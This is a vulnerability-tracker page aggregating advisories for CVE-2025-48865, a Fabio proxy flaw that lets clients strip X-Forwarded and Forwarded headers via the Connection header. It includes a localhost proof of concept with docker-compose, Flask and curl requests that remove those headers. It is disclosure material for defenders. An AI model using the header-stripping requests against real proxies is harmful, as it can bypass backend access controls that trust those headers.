Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Fabio allows HTTP clients to manipulate custom headers it adds

CVSS 3.1 9.1 CRITICALEUVD CVSS 3.1 9.1 CVSS 3.1 · [email protected] · Secondary 9.1 CRITICALCVSS 3.1 · [email protected] · Primary 9.1 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/fabiolb/fabio 1.6.6osv · severity unknownFixed by github.com/fabiolb/fabio 1.6.6KEV status unknown

cve-program · CVE-2025-48865

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

euvd · EUVD-2025-16398

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

nvd · CVE-2025-48865

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

osv · GHSA-q7p4-7xjv-j3wf

Published

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: ``` Connection: close, X-Forwarded-Host ``` Similar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik. ### Details It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded ### PoC The following docker-compose file was used for testing: ```yml version: '3' services: fabio: image: fabiolb/fabio ports: - "3000:9999" - "9998:9998" volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . ports: - "8080:8080" environment: - PYTHONUNBUFFERED=1 ``` The fabio.properties configuration: ``` proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/ ``` A Python container runs a simple HTTP server that logs received headers. The Dockerfile: ```dockerfile FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"] ``` Python Flask Server ```python from flask import Flask, request import sys import os sys.stdout.flush() sys.stderr.flush() os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") @app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def hello(): return f"Hello, World! Method: {request.method}" @app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def catch_all(path): return f"Caught path: {path}, Method: {request.method}" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True) ``` A normal HTTP request/response pair looks like this: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* Connection: keep-alive ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.11.12 Date: Thu, 22 May 2025 23:09:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 25 Connection: close Hello, World! Method: GET ``` Server Log ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1 backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* yeet: 123 Connection: keep-alive, Forwarded ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Content-Length: 25 Content-Type: text/html; charset=utf-8 Date: Thu, 22 May 2025 23:42:45 GMT Server: Werkzeug/3.1.3 Python/3.11.12 Hello, World! Method: GET ``` Server Logs ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` The response shows that Fabio's `Forwarded` header was removed from the request ### Impact If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass. This vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3) Stripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce). ### References - [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) - [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) - [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)

Read the publisher's advisory

osv · GO-2025-3722

Published

Fabio allows HTTP clients to manipulate custom headers it adds in github.com/fabiolb/fabio

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

14 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

15 Nov 2026 04:33:42 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

13 Nov 2026 04:21:22 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

11 Nov 2026 03:29:57 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

9 Nov 2026 03:06:19 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

7 Nov 2026 02:35:28 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

5 Nov 2026 01:54:51 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

3 Nov 2026 00:58:27 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

1 Nov 2026 00:06:03 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

29 Oct 2026 23:01:57 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

27 Oct 2026 22:49:36 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

euvd · EUVD-2025-16398 · Published

25 Oct 2026 02:25:01 UTC

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

nvd · CVE-2025-48865 · Published

24 Oct 2026 13:19:41 UTC

Fabio allows HTTP clients to manipulate custom headers it adds

osv · GHSA-q7p4-7xjv-j3wf · Published

24 Oct 2026 13:19:41 UTC

Fabio allows HTTP clients to manipulate custom headers it adds in github.com/fabiolb/fabio

osv · GO-2025-3722 · Published

23 Oct 2026 15:48:27 UTC

Fabio allows HTTP clients to manipulate custom headers it adds

cve-program · CVE-2025-48865 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 11:47 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current